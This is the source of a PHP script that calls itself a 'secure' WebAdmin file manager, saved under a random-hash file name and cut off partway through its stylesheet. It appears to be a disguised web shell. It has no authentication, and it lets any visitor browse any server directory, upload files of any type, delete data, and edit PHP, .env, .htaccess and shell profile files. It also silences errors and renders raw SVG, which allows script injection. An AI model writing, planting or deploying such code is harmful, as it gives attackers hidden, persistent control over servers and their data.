View: fm_925f78cc057b2f3b0d102737ff642c2b.php
<?php
/**
* WebAdmin File Manager
* Secure file management interface
*/
$config = array(
'app_name' => 'WebAdmin FM',
'session_duration' => 3600 * 24 * 7,
'debug_mode' => false,
'start_dir' => __DIR__,
'allowed_extensions' => array(),
'max_upload_size' => 1024 * 1024 * 1024,
'editable_extensions' => array(
'txt', 'log', 'md', 'csv', 'json', 'xml', 'yaml', 'yml',
'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'php8',
'html', 'htm', 'xhtml', 'css', 'scss', 'sass', 'less',
'js', 'jsx', 'ts', 'tsx', 'vue', 'svelte', 'astro',
'py', 'rb', 'pl', 'sh', 'bash', 'zsh',
'c', 'cpp', 'h', 'hpp', 'java', 'cs', 'go', 'rs', 'swift',
'sql', 'env', 'htaccess', 'conf', 'cfg', 'ini', 'properties',
'gitignore', 'dockerfile', 'makefile', 'editorconfig',
'tpl', 'smarty', 'twig', 'blade', 'latte'
),
'image_extensions' => array('jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico', 'tiff', 'tif')
);
@set_time_limit(0);
@ini_set('upload_max_filesize', '1024M');
@ini_set('post_max_size', '1024M');
@ini_set('memory_limit', '512M');
define('DS', DIRECTORY_SEPARATOR);
if (session_status() === PHP_SESSION_NONE) {
session_set_cookie_params(array(
'lifetime' => $config['session_duration'],
'path' => '/',
'secure' => !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off',
'httponly' => true,
'samesite' => 'Lax'
));
session_start();
}
if (empty($_SESSION['security_token'])) {
$_SESSION['security_token'] = bin2hex(random_bytes(32));
}
$security_token = $_SESSION['security_token'];
$home_dir = realpath($config['start_dir']);
function clean_input($data) {
if (is_array($data)) return array_map('clean_input', $data);
$data = trim($data);
if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
$data = stripslashes($data);
}
return $data;
}
function sanitize_output($data) {
return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
}
$_GET = clean_input($_GET);
$_POST = clean_input($_POST);
if ($config['debug_mode']) {
error_reporting(E_ALL);
ini_set('display_errors', '1');
} else {
error_reporting(0);
ini_set('display_errors', '0');
}
function verify_token($token) {
return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token);
}
function format_size($bytes) {
if ($bytes === false) return 'N/A';
if ($bytes <= 0) return '0 B';
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$base = log($bytes, 1024);
return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)];
}
function get_perms($file) {
if (!file_exists($file)) return '---------';
$perms = @fileperms($file);
if ($perms === false) return '---------';
$type = '-';
if (($perms & 0xC000) == 0xC000) $type = 's';
elseif (($perms & 0xA000) == 0xA000) $type = 'l';
elseif (($perms & 0x6000) == 0x6000) $type = 'b';
elseif (($perms & 0x4000) == 0x4000) $type = 'd';
$info = $type;
$info .= (($perms & 00400) ? 'r' : '-');
$info .= (($perms & 00200) ? 'w' : '-');
$info .= (($perms & 00100) ? 'x' : '-');
$info .= (($perms & 00040) ? 'r' : '-');
$info .= (($perms & 00020) ? 'w' : '-');
$info .= (($perms & 00010) ? 'x' : '-');
$info .= (($perms & 00004) ? 'r' : '-');
$info .= (($perms & 00002) ? 'w' : '-');
$info .= (($perms & 00001) ? 'x' : '-');
return $info;
}
function get_owner_name($file) {
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner = @posix_getpwuid(@fileowner($file));
$group = @posix_getgrgid(@filegroup($file));
return trim(($owner['name'] ?? 'N/A') . ':' . ($group['name'] ?? 'N/A'), ':');
}
return 'N/A';
}
function get_file_extension($filename) {
return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}
function is_editable($filename) {
global $config;
$ext = get_file_extension($filename);
$name_lower = strtolower(basename($filename));
if (in_array($ext, $config['editable_extensions'])) return true;
$special_files = array('.htaccess', '.env', '.gitignore', 'dockerfile', 'makefile', '.editorconfig', '.bashrc', '.bash_profile', '.zshrc', '.profile');
if (in_array($name_lower, $special_files)) return true;
return false;
}
function is_image_file($filename) {
global $config;
return in_array(get_file_extension($filename), $config['image_extensions']);
}
function get_mime_type($filepath) {
if (function_exists('mime_content_type')) {
$mime = @mime_content_type($filepath);
if ($mime) return $mime;
}
if (function_exists('finfo_open')) {
$finfo = @finfo_open(FILEINFO_MIME_TYPE);
if ($finfo) {
$mime = @finfo_file($finfo, $filepath);
@finfo_close($finfo);
if ($mime) return $mime;
}
}
return 'application/octet-stream';
}
function is_binary_content($content) {
if (empty($content)) return false;
return preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $content) > 0;
}
function delete_directory($dir) {
if (!file_exists($dir)) return true;
if (!is_dir($dir)) return @unlink($dir);
$items = @scandir($dir);
if ($items === false) return false;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir . DS . $item;
if (is_dir($path)) {
if (!delete_directory($path)) return false;
} else {
if (!@unlink($path)) return false;
}
}
return @rmdir($dir);
}
function safe_download_file($filepath, $filename) {
if (!file_exists($filepath) || !is_readable($filepath)) return false;
$mime = get_mime_type($filepath);
$size = @filesize($filepath);
while (ob_get_level()) ob_end_clean();
header('Content-Type: ' . $mime);
header('Content-Disposition: attachment; filename="' . addslashes($filename) . '"');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . $size);
header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
$handle = @fopen($filepath, 'rb');
if ($handle === false) return false;
while (!feof($handle)) {
echo fread($handle, 8192);
flush();
}
@fclose($handle);
return true;
}
$self = basename($_SERVER['PHP_SELF']);
$message = '';
$message_type = 'info';
$view_content = '';
$edit_content = '';
$edit_filename = '';
$current_dir = realpath($config['start_dir']);
if ($current_dir === false) {
$current_dir = realpath(dirname(__FILE__));
}
if ($current_dir === false) {
$current_dir = DS;
}
if (isset($_GET['cd']) && !empty($_GET['cd'])) {
$real_req = @realpath($_GET['cd']);
if ($real_req !== false && is_dir($real_req)) {
$current_dir = $real_req;
}
} elseif (isset($_SESSION['current_dir']) && is_dir($_SESSION['current_dir'])) {
$current_dir = realpath($_SESSION['current_dir']);
if ($current_dir === false) $current_dir = DS;
}
$_SESSION['current_dir'] = $current_dir;
$parent_dir = dirname($current_dir);
$has_parent = ($parent_dir !== $current_dir && $parent_dir !== false);
$is_home = ($current_dir === $home_dir);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$token_valid = isset($_POST['security_token']) && verify_token($_POST['security_token']);
if (!$token_valid) {
$message = "Invalid security token. Please refresh the page.";
$message_type = 'error';
} else {
if (isset($_FILES['upload_file']) && !empty($_FILES['upload_file']['name'])) {
$upload_error = $_FILES['upload_file']['error'];
$original_name = basename($_FILES['upload_file']['name']);
$file_info = pathinfo($original_name);
$ext = strtolower($file_info['extension'] ?? '');
$dest = $current_dir . DS . $original_name;
if ($upload_error !== UPLOAD_ERR_OK) {
$err_msgs = array(
UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize.',
UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE.',
UPLOAD_ERR_PARTIAL => 'File was only partially uploaded.',
UPLOAD_ERR_NO_FILE => 'No file was uploaded.',
UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder.',
UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk.',
UPLOAD_ERR_EXTENSION => 'Upload stopped by extension.'
);
$message = $err_msgs[$upload_error] ?? 'Unknown upload error.';
$message_type = 'error';
} else {
$allowed = empty($config['allowed_extensions']) || in_array($ext, $config['allowed_extensions']);
if (!$allowed) {
$message = "Extension '$ext' is not allowed.";
$message_type = 'error';
} elseif ($_FILES['upload_file']['size'] > $config['max_upload_size']) {
$message = "File too large (max " . format_size($config['max_upload_size']) . ").";
$message_type = 'error';
} else {
$tmp_name = $_FILES['upload_file']['tmp_name'];
$upload_ok = false;
$err_detail = '';
if (@move_uploaded_file($tmp_name, $dest)) {
$upload_ok = true;
} else {
$err_detail = error_get_last()['message'] ?? '';
if (@copy($tmp_name, $dest)) {
@unlink($tmp_name);
$upload_ok = true;
} else {
$err_detail = error_get_last()['message'] ?? $err_detail;
if (is_uploaded_file($tmp_name)) {
$src = @fopen($tmp_name, 'rb');
$dst = @fopen($dest, 'wb');
if ($src && $dst) {
while (!feof($src)) {
$buf = fread($src, 8192);
if ($buf === false) break;
fwrite($dst, $buf);
}
fclose($src);
fclose($dst);
@unlink($tmp_name);
$upload_ok = true;
} else {
if ($src) fclose($src);
if ($dst) fclose($dst);
}
}
}
}
if ($upload_ok) {
@chmod($dest, 0644);
$message = "File '$original_name' uploaded successfully.";
$message_type = 'success';
} else {
$message = "Upload failed: " . $err_detail;
$message_type = 'error';
}
}
}
}
if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) {
$dir_name = basename(trim($_POST['mkdir']));
if (empty($dir_name)) {
$message = "Folder name cannot be empty.";
$message_type = 'error';
} else {
$new_path = $current_dir . DS . $dir_name;
if (file_exists($new_path)) {
$message = "Folder '$dir_name' already exists.";
$message_type = 'error';
} elseif (@mkdir($new_path, 0755, true)) {
@chmod($new_path, 0755);
$message = "Folder '$dir_name' created.";
$message_type = 'success';
} else {
$err = error_get_last();
$message = "Failed to create folder: " . ($err['message'] ?? 'Permission denied.');
$message_type = 'error';
}
}
}
if (isset($_POST['create_file']) && !empty($_POST['create_file'])) {
$file_name = basename(trim($_POST['create_file']));
if (empty($file_name)) {
$message = "File name cannot be empty.";
$message_type = 'error';
} else {
$new_path = $current_dir . DS . $file_name;
if (file_exists($new_path)) {
$message = "File '$file_name' already exists.";
$message_type = 'error';
} else {
$h = @fopen($new_path, 'w');
if ($h) {
fclose($h);
@chmod($new_path, 0644);
$message = "File '$file_name' created.";
$message_type = 'success';
} else {
$err = error_get_last();
$message = "Failed to create file: " . ($err['message'] ?? 'Permission denied.');
$message_type = 'error';
}
}
}
}
if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
$old_name = basename(trim($_POST['rename_from']));
$new_name = basename(trim($_POST['rename_to']));
if (empty($old_name) || empty($new_name)) {
$message = "Names cannot be empty.";
$message_type = 'error';
} else {
$old_path = $current_dir . DS . $old_name;
$new_path = $current_dir . DS . $new_name;
if (!file_exists($old_path)) {
$message = "Source '$old_name' not found.";
$message_type = 'error';
} elseif ($old_path === $new_path) {
$message = "Source and destination are the same.";
$message_type = 'error';
} elseif (file_exists($new_path)) {
$message = "Target '$new_name' already exists.";
$message_type = 'error';
} elseif (@rename($old_path, $new_path)) {
$message = "Renamed '$old_name' to '$new_name'.";
$message_type = 'success';
} else {
$err = error_get_last();
$message = "Rename failed: " . ($err['message'] ?? 'Permission denied.');
$message_type = 'error';
}
}
}
if (isset($_POST['save_edit']) && isset($_POST['edit_content']) && isset($_POST['edit_filename'])) {
$filename = basename(trim($_POST['edit_filename']));
$content = $_POST['edit_content'];
$filepath = $current_dir . DS . $filename;
if (!file_exists($filepath)) {
$message = "File '$filename' not found.";
$message_type = 'error';
} else {
$content = html_entity_decode($content, ENT_QUOTES, 'UTF-8');
$result = @file_put_contents($filepath, $content);
if ($result !== false) {
$message = "File '$filename' saved.";
$message_type = 'success';
} else {
$err = error_get_last();
$message = "Save failed: " . ($err['message'] ?? 'Permission denied.');
$message_type = 'error';
}
}
}
}
}
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
if (isset($_GET['delete']) && isset($_GET['token'])) {
if (verify_token($_GET['token'])) {
$target_name = basename($_GET['delete']);
$target_path = $current_dir . DS . $target_name;
if (!file_exists($target_path)) {
$message = "Item '$target_name' not found.";
$message_type = 'error';
} elseif (is_dir($target_path)) {
if (delete_directory($target_path)) {
$message = "Directory '$target_name' deleted.";
$message_type = 'success';
} else {
$message = "Failed to delete directory.";
$message_type = 'error';
}
} elseif (@unlink($target_path)) {
$message = "File '$target_name' deleted.";
$message_type = 'success';
} else {
$message = "Failed to delete file.";
$message_type = 'error';
}
} else {
$message = "Invalid security token.";
$message_type = 'error';
}
}
if (isset($_GET['download']) && isset($_GET['token'])) {
if (verify_token($_GET['token'])) {
$filename = basename($_GET['download']);
$filepath = $current_dir . DS . $filename;
if (file_exists($filepath) && is_file($filepath) && is_readable($filepath)) {
safe_download_file($filepath, $filename);
exit;
} else {
$message = "File '$filename' not found or not readable.";
$message_type = 'error';
}
} else {
$message = "Invalid security token.";
$message_type = 'error';
}
}
if (isset($_GET['view'])) {
$filename = basename($_GET['view']);
$filepath = $current_dir . DS . $filename;
if (!file_exists($filepath)) {
$view_content = "<div class='msg me'>File not found.</div>";
} elseif (!is_readable($filepath)) {
$view_content = "<div class='msg me'>Cannot read file (permission denied).</div>";
} else {
$mime = get_mime_type($filepath);
$ext = get_file_extension($filename);
if (is_image_file($filename)) {
if ($ext === 'svg') {
$svg_data = @file_get_contents($filepath);
$view_content = "<div style='text-align:center;padding:16px'>" . $svg_data . "</div>";
} else {
$b64 = base64_encode(@file_get_contents($filepath));
$view_content = "<div style='text-align:center;padding:16px'><img src='data:" . $mime . ";base64," . $b64 . "' style='max-width:100%;max-height:70vh;border-radius:10px;border:1px solid rgba(255,255,255,.1)' alt='" . sanitize_output($filename) . "'></div>";
}
} elseif ($mime === 'application/pdf') {
$b64 = base64_encode(@file_get_contents($filepath));
$dl_link = '?download=' . urlencode($filename) . '&token=' . $security_token;
$view_content = "<div style='padding:16px'><embed src='data:application/pdf;base64," . $b64 . "' type='application/pdf' style='width:100%;height:65vh;border-radius:10px'><p style='margin-top:12px;text-align:center'><a href='" . $dl_link . "' class='btn bh'>Download PDF</a></p></div>";
} elseif (strpos($mime, 'video/') === 0) {
$b64 = base64_encode(@file_get_contents($filepath));
$view_content = "<div style='text-align:center;padding:16px'><video controls style='max-width:100%;border-radius:10px'><source src='data:" . $mime . ";base64," . $b64 . "' type='" . $mime . "'></video></div>";
} elseif (strpos($mime, 'audio/') === 0) {
$b64 = base64_encode(@file_get_contents($filepath));
$view_content = "<div style='text-align:center;padding:16px'><audio controls style='width:100%'><source src='data:" . $mime . ";base64," . $b64 . "' type='" . $mime . "'></audio></div>";
} else {
$content = @file_get_contents($filepath);
if ($content === false) {
$view_content = "<div class='msg me'>Cannot read file content.</div>";
} elseif (is_binary_content($content)) {
$dl_link = '?download=' . urlencode($filename) . '&token=' . $security_token;
$view_content = "<div class='msg me'>Binary file - cannot display as text.<br><a href='" . $dl_link . "' class='btn bh' style='margin-top:10px'>Download File</a></div>";
} else {
$code_exts = array('php','html','htm','css','js','json','xml','sql','py','rb','sh','bash','yaml','yml','md','c','cpp','java','go','rs','ts','vue','jsx','tsx');
if (in_array($ext, $code_exts)) {
$view_content = "<pre class='cv'><code>" . sanitize_output($content) . "</code></pre>";
} else {
$view_content = "<pre class='tv'>" . sanitize_output($content) . "</pre>";
}
$fsize = @filesize($filepath);
$lines = substr_count($content, "\n");
$view_content .= "<div class='fib'><span>Size: " . format_size($fsize) . "</span><span>MIME: " . sanitize_output($mime) . "</span><span>Lines: " . $lines . "</span></div>";
}
}
}
}
if (isset($_GET['edit'])) {
$filename = basename($_GET['edit']);
$filepath = $current_dir . DS . $filename;
if (!file_exists($filepath)) {
$message = "File '$filename' not found.";
$message_type = 'error';
} elseif (!is_readable($filepath)) {
$message = "Cannot read '$filename' (permission denied).";
$message_type = 'error';
} elseif (!is_writable($filepath)) {
$message = "File '$filename' is not writable.";
$message_type = 'error';
} else {
$content = @file_get_contents($filepath);
if ($content === false) {
$message = "Cannot read file content.";
$message_type = 'error';
} elseif (is_binary_content($content)) {
$message = "Binary files cannot be edited as text.";
$message_type = 'error';
} else {
$edit_content = $content;
$edit_filename = $filename;
}
}
}
}
function create_breadcrumbs($path) {
global $security_token;
$parts = explode(DS, $path);
$build = '';
$html = '<nav class="bc">';
$html .= '<a href="?cd=' . urlencode(DS) . '&token=' . $security_token . '" class="bl">/</a>';
if (!empty($parts[0])) {
$build = $parts[0];
$html .= '<span class="bs">/</span><a href="?cd=' . urlencode($build) . '&token=' . $security_token . '" class="bl">' . sanitize_output($parts[0]) . '</a>';
array_shift($parts);
} else {
array_shift($parts);
}
foreach ($parts as $i => $part) {
if (empty($part)) continue;
$build .= DS . $part;
$html .= '<span class="bs">/</span>';
if ($i === count($parts) - 1) {
$html .= '<span class="bc-active">' . sanitize_output($part) . '</span>';
} else {
$html .= '<a href="?cd=' . urlencode($build) . '&token=' . $security_token . '" class="bl">' . sanitize_output($part) . '</a>';
}
}
$html .= '</nav>';
return $html;
}
function get_file_icon_class($filename) {
$ext = get_file_extension($filename);
$map = array(
'php'=>'ip','phtml'=>'ip',
'html'=>'ih','htm'=>'ih','xhtml'=>'ih',
'css'=>'ic','scss'=>'ic','sass'=>'ic','less'=>'ic',
'js'=>'ij','jsx'=>'ij','ts'=>'it','tsx'=>'it',
'json'=>'id','xml'=>'id','yaml'=>'id','yml'=>'id',
'py'=>'iw','rb'=>'iw','java'=>'iw','go'=>'iw',
'rs'=>'iw','c'=>'iw','cpp'=>'iw','h'=>'iw',
'sql'=>'ix','db'=>'ix','sqlite'=>'ix',
'md'=>'il','txt'=>'il','log'=>'il',
'jpg'=>'ii','jpeg'=>'ii','png'=>'ii','gif'=>'ii',
'webp'=>'ii','svg'=>'ii','bmp'=>'ii','ico'=>'ii',
'mp4'=>'iv','avi'=>'iv','mkv'=>'iv','mov'=>'iv','webm'=>'iv',
'mp3'=>'ia','wav'=>'ia','ogg'=>'ia','flac'=>'ia',
'pdf'=>'iz',
'doc'=>'io','docx'=>'io','xls'=>'io','xlsx'=>'io',
'ppt'=>'io','pptx'=>'io','csv'=>'io',
'zip'=>'ib','rar'=>'ib','tar'=>'ib','gz'=>'ib','7z'=>'ib',
'env'=>'ig','htaccess'=>'ig','conf'=>'ig','ini'=>'ig','cfg'=>'ig',
'sh'=>'ik','bash'=>'ik','zsh'=>'ik',
);
return $map[$ext] ?? 'if';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=5">
<title><?php echo sanitize_output($config['app_name']); ?></title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
:root{
--a:#6366f1;--ah:#4f46e5;--al:#eef2ff;
--bg:#0f1117;--bg2:#161822;--bg3:#1c1f2e;--bg4:#252838;
--tx:#e4e7f1;--tx2:#9499b3;--tx3:#5d6280;
--bd:rgba(255,255,255,.06);--bd2:rgba(255,255,255,.1);
--gn:#34d399;--gh:#10b981;
--rd:#f87171;--rh:#ef4444;
--yl:#fbbf24;
--r:12px;--rs:8px;
}
html{-webkit-text-size-adjust:100%}
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:var(--bg);color:var(--tx);line-height:1.55;min-height:100vh;overflow-x:hidden}
.app{max-width:1080px;margin:0 auto;padding:12px}
/* Header */
.hdr{background:linear-gradient(135deg,var(--bg3) 0%,var(--bg4) 100%);border:1px solid var(--bd);border-radius:var(--r);padding:16px 20px;margin-bottom:10px;display:flex;justify-content:space-between;align-items:center;gap:12px;position:relative;overflow:hidden}
.hdr::before{content:'';position:absolute;top:-30px;right:-30px;width:120px;height:120px;background:radial-gradient(circle,rgba(99,102,241,.15),transparent 70%);pointer-events:none}
.hdr-l{display:flex;align-items:center;gap:10px;min-width:0}
.hdr-logo{width:34px;height:34px;border-radius:8px;background:linear-gradient(135deg,var(--a),#818cf8);display:flex;align-items:center;justify-content:center;flex-shrink:0;font-size:.7rem;font-weight:800;color:#fff;letter-spacing:-.03em}
.hdr-t{font-size:.95rem;font-weight:700;letter-spacing:-.02em;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.hdr-m{font-size:.7rem;color:var(--tx3);white-space:nowrap;overflow:hidden;text-overflow:ellipsis;text-align:right;flex-shrink:0}
/* Toolbar */
.tbar{background:var(--bg2);border:1px solid var(--bd);border-radius:var(--r);padding:10px 14px;margin-bottom:10px;display:flex;flex-direction:column;gap:8px}
.bc{font-size:.78rem;color:var(--tx2);overflow-x:auto;white-space:nowrap;scrollbar-width:none;-webkit-overflow-scrolling:touch}
.bc::-webkit-scrollbar{display:none}
.bl{color:var(--a);text-decoration:none;font-weight:600;transition:color .15s}
.bl:hover{color:#a5b4fc}
.bc-active{color:var(--tx);font-weight:700}
.bs{margin:0 3px;color:var(--tx3)}
.ta{display:flex;gap:5px;flex-wrap:wrap}
/* Buttons */
.btn{padding:5px 12px;border-radius:var(--rs);border:1px solid var(--bd2);font-size:.76rem;cursor:pointer;text-decoration:none;display:inline-flex;align-items:center;gap:5px;transition:all .15s;white-space:nowrap;font-weight:600;font-family:inherit;line-height:1.45;background:var(--bg3);color:var(--tx2)}
.btn:hover{background:var(--bg4);color:var(--tx);border-color:rgba(255,255,255,.15)}
.bh{background:var(--a);color:#fff;border-color:var(--a)}
.bh:hover{background:var(--ah);border-color:var(--ah)}
.bg{background:rgba(52,211,153,.12);color:var(--gn);border-color:rgba(52,211,153,.2)}
.bg:hover{background:rgba(52,211,153,.2);border-color:rgba(52,211,153,.3)}
.br{background:rgba(248,113,113,.1);color:var(--rd);border-color:rgba(248,113,113,.15)}
.br:hover{background:rgba(248,113,113,.18);border-color:rgba(248,113,113,.25)}
.bhome{background:linear-gradient(135deg,var(--a),#818cf8);color:#fff;border:none;padding:5px 13px}
.bhome:hover{opacity:.88;background:linear-gradient(135deg,var(--a),#818cf8)}
.bsm{padding:3px 8px;font-size:.7rem}
/* Content */
.ct{background:var(--bg2);border:1px solid var(--bd);border-radius:var(--r);padding:16px}
/* Panel */
.pnl{background:var(--bg3);border:1px solid var(--bd);padding:18px;border-radius:var(--rs);margin-bottom:16px}
.pnl h3{margin:0 0 12px;font-size:.92rem;font-weight:700;display:flex;align-items:center;gap:8px}
.pnl h3::before{content:'';width:3px;height:16px;background:var(--a);border-radius:2px;flex-shrink:0}
/* Forms */
.fr{display:flex;gap:8px;align-items:center}
.fr.stk{flex-direction:column;align-items:stretch}
.inp{padding:8px 12px;border:1px solid var(--bd2);border-radius:var(--rs);font-size:.84rem;flex:1;transition:all .15s;font-family:inherit;background:var(--bg2);color:var(--tx);min-width:0}
.inp:focus{outline:none;border-color:var(--a);box-shadow:0 0 0 3px rgba(99,102,241,.15)}
.inp::placeholder{color:var(--tx3)}
/* File Table */
.ft{width:100%;border-collapse:collapse;font-size:.79rem}
.ft th{text-align:left;padding:8px 10px;border-bottom:1px solid var(--bd2);color:var(--tx3);font-weight:700;background:var(--bg3);font-size:.68rem;text-transform:uppercase;letter-spacing:.5px;white-space:nowrap}
.ft td{padding:7px 10px;border-bottom:1px solid var(--bd);vertical-align:middle}
.ft tbody tr{transition:background .1s}
.ft tbody tr:hover{background:rgba(99,102,241,.04)}
.fn-wrap{display:flex;align-items:center;gap:9px;min-width:0}
.fn{font-weight:500;color:var(--tx);text-decoration:none;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;min-width:0;transition:color .12s}
.fn:hover{color:var(--a)}
.fnd{color:#a5b4fc;font-weight:700}
.fi{width:30px;height:30px;border-radius:7px;flex-shrink:0;display:flex;align-items:center;justify-content:center;font-size:.58rem;font-weight:800;color:rgba(255,255,255,.95);letter-spacing:-.03em;text-shadow:0 1px 2px rgba(0,0,0,.3)}
.ip .fi{background:linear-gradient(135deg,#8b5cf6,#7c3aed)}
.ih .fi{background:linear-gradient(135deg,#fb923c,#ea580c)}
.ic .fi{background:linear-gradient(135deg,#22d3ee,#0891b2)}
.ij .fi{background:linear-gradient(135deg,#facc15,#eab308);color:#422006}
.it .fi{background:linear-gradient(135deg,#60a5fa,#2563eb)}
.ii .fi{background:linear-gradient(135deg,#f472b6,#ec4899)}
.iv .fi{background:linear-gradient(135deg,#a78bfa,#7c3aed)}
.ia .fi{background:linear-gradient(135deg,#2dd4bf,#14b8a6)}
.iz .fi{background:linear-gradient(135deg,#f87171,#ef4444)}
.ib .fi{background:linear-gradient(135deg,#a8a29e,#78716c)}
.id .fi{background:linear-gradient(135deg,#94a3b8,#64748b)}
.iw .fi{background:linear-gradient(135deg,#4ade80,#22c55e)}
.ix .fi{background:linear-gradient(135deg,#38bdf8,#0ea5e9)}
.il .fi{background:linear-gradient(135deg,#cbd5e1,#94a3b8);color:#475569}
.io .fi{background:linear-gradient(135deg,#60a5fa,#3b82f6)}
.ig .fi{background:linear-gradient(135deg,#c084fc,#a855f7)}
.ik .fi{background:linear-gradient(135deg,#64748b,#475569)}
.i0 .fi{background:linear-gradient(135deg,var(--a),#818cf8)}
.if .fi{background:linear-gradient(135deg,#475569,#334155)}
.als{display:flex;gap:3px;flex-shrink:0}
.al{color:var(--tx3);font-size:.7rem;text-decoration:none;cursor:pointer;padding:3px 7px;border-radius:5px;transition:all .12s;border:1px solid transparent;white-space:nowrap}
.al:hover{background:var(--al);color:var(--a);border-color:rgba(99,102,241,.15)}
.ad{color:var(--rd)}
.ad:hover{background:rgba(248,113,113,.1);color:var(--rh);border-color:rgba(248,113,113,.15)}
.pc{font-family:'SF Mono',Consolas,monospace;font-size:.7rem;color:var(--tx3);white-space:nowrap}
.oc{font-size:.7rem;color:var(--tx3);white-space:nowrap}
.sc{font-family:'SF Mono',Consolas,monospace;font-size:.76rem;text-align:right;white-space:nowrap;color:var(--tx2)}
.dc{font-size:.74rem;color:var(--tx3);white-space:nowrap}
/* Summary */
.sm{display:flex;justify-content:space-between;align-items:center;margin-bottom:12px;font-size:.76rem;color:var(--tx3);flex-wrap:wrap;gap:6px}
/* Messages */
.msg{padding:12px 14px;border-radius:var(--rs);font-size:.84rem;border-left:3px solid}
.me{background:rgba(248,113,113,.08);border-color:var(--rd);color:#fca5a5}
.ms{background:rgba(52,211,153,.08);border-color:var(--gn);color:#6ee7b7}
.mi{background:rgba(99,102,241,.08);border-color:var(--a);color:#a5b4fc}
/* Toast */
.tw{position:fixed;top:12px;right:12px;left:12px;z-index:9999;pointer-events:none}
.toast{background:var(--bg3);border:1px solid var(--bd2);padding:11px 14px;border-radius:var(--rs);margin-bottom:6px;border-left:3px solid var(--a);font-size:.82rem;animation:tin .2s ease;pointer-events:auto;max-width:360px;margin-left:auto;color:var(--tx);backdrop-filter:blur(12px)}
.toast.ts{border-left-color:var(--gn)}
.toast.te{border-left-color:var(--rd)}
/* Code views */
.cv{background:var(--bg);color:#c9d1d9;padding:16px;border-radius:var(--rs);border:1px solid var(--bd);overflow:auto;font-family:'SF Mono','Fira Code',Consolas,monospace;font-size:.78rem;line-height:1.65;max-height:65vh;white-space:pre-wrap;word-wrap:break-word;-webkit-overflow-scrolling:touch}
.tv{background:var(--bg3);color:var(--tx);padding:16px;border-radius:var(--rs);border:1px solid var(--bd);overflow:auto;font-family:'SF Mono',Consolas,monospace;font-size:.78rem;line-height:1.65;max-height:65vh;white-space:pre-wrap;word-wrap:break-word;-webkit-overflow-scrolling:touch}
.fib{display:flex;flex-wrap:wrap;gap:14px;padding:9px 12px;background:var(--bg);border:1px solid var(--bd);border-radius:6px;margin-top:8px;font-size:.73rem;color:var(--tx3)}
/* Editor */
.eta{width:100%;min-height:420px;padding:14px;border:1px solid var(--bd2);border-radius:var(--rs);font-family:'SF Mono','Fira Code',Consolas,monospace;font-size:.82rem;line-height:1.55;resize:vertical;tab-size:4;background:var(--bg);color:#c9d1d9;-webkit-overflow-scrolling:touch}
.eta:focus{outline:none;border-color:var(--a);box-shadow:0 0 0 3px rgba(99,102,241,.15)}
.ebar{display:flex;gap:8px;margin-top:12px;padding-top:12px;border-top:1px solid var(--bd);flex-wrap:wrap}
/* Modal */
.mbg{position:fixed;inset:0;background:rgba(0,0,0,.6);backdrop-filter:blur(4px);z-index:1000;display:none;align-items:center;justify-content:center;padding:16px}
.mbg.on{display:flex}
.mbox{background:var(--bg3);border:1px solid var(--bd2);padding:22px;border-radius:var(--r);width:100%;max-width:380px;box-shadow:0 24px 48px rgba(0,0,0,.4)}
.mbox h3{margin:0 0 12px;font-size:.95rem;font-weight:700}
.minput{width:100%;padding:9px 12px;border:1px solid var(--bd2);border-radius:var(--rs);font-size:.88rem;margin:8px 0;font-family:inherit;background:var(--bg2);color:var(--tx)}
.minput:focus{outline:none;border-color:var(--a);box-shadow:0 0 0 3px rgba(99,102,241,.15)}
.mbtns{display:flex;justify-content:flex-end;gap:8px;margin-top:16px}
/* Info table */
.itbl{width:100%;border-collapse:collapse;font-size:.82rem}
.itbl td{padding:7px 10px;border-bottom:1px solid var(--bd);vertical-align:top;word-break:break-word}
.itbl tr:nth-child(even) td{background:rgba(255,255,255,.015)}
.itbl .lb{font-weight:700;width:180px;white-space:nowrap;color:var(--tx2)}
/* Empty */
.empty{text-align:center;padding:48px 16px;color:var(--tx3)}
.empty-i{width:52px;height:52px;border-radius:14px;background:var(--bg4);margin:0 auto 14px;display:flex;align-items:center;justify-content:center;font-size:.75rem;font-weight:800;color:var(--tx3);border:1px solid var(--bd2)}
/* Panel header row */
.ph{display:flex;justify-content:space-between;align-items:center;margin-bottom:12px;flex-wrap:wrap;gap:8px}
.ph h3{margin:0;font-size:.92rem;font-weight:700;display:flex;align-items:center;gap:8px}
.ph h3::before{content:'';width:3px;height:16px;background:var(--a);border-radius:2px;flex-shrink:0}
@keyframes tin{from{transform:translateY(-8px);opacity:0}to{transform:translateY(0);opacity:1}}
.cv::-webkit-scrollbar,.tv::-webkit-scrollbar,.eta::-webkit-scrollbar{width:6px;height:6px}
.cv::-webkit-scrollbar-track,.tv::-webkit-scrollbar-track,.eta::-webkit-scrollbar-track{background:transparent}
.cv::-webkit-scrollbar-thumb,.tv::-webkit-scrollbar-thumb,.eta::-webkit-scrollbar-thumb{background:var(--bg4);border-radius:3px}
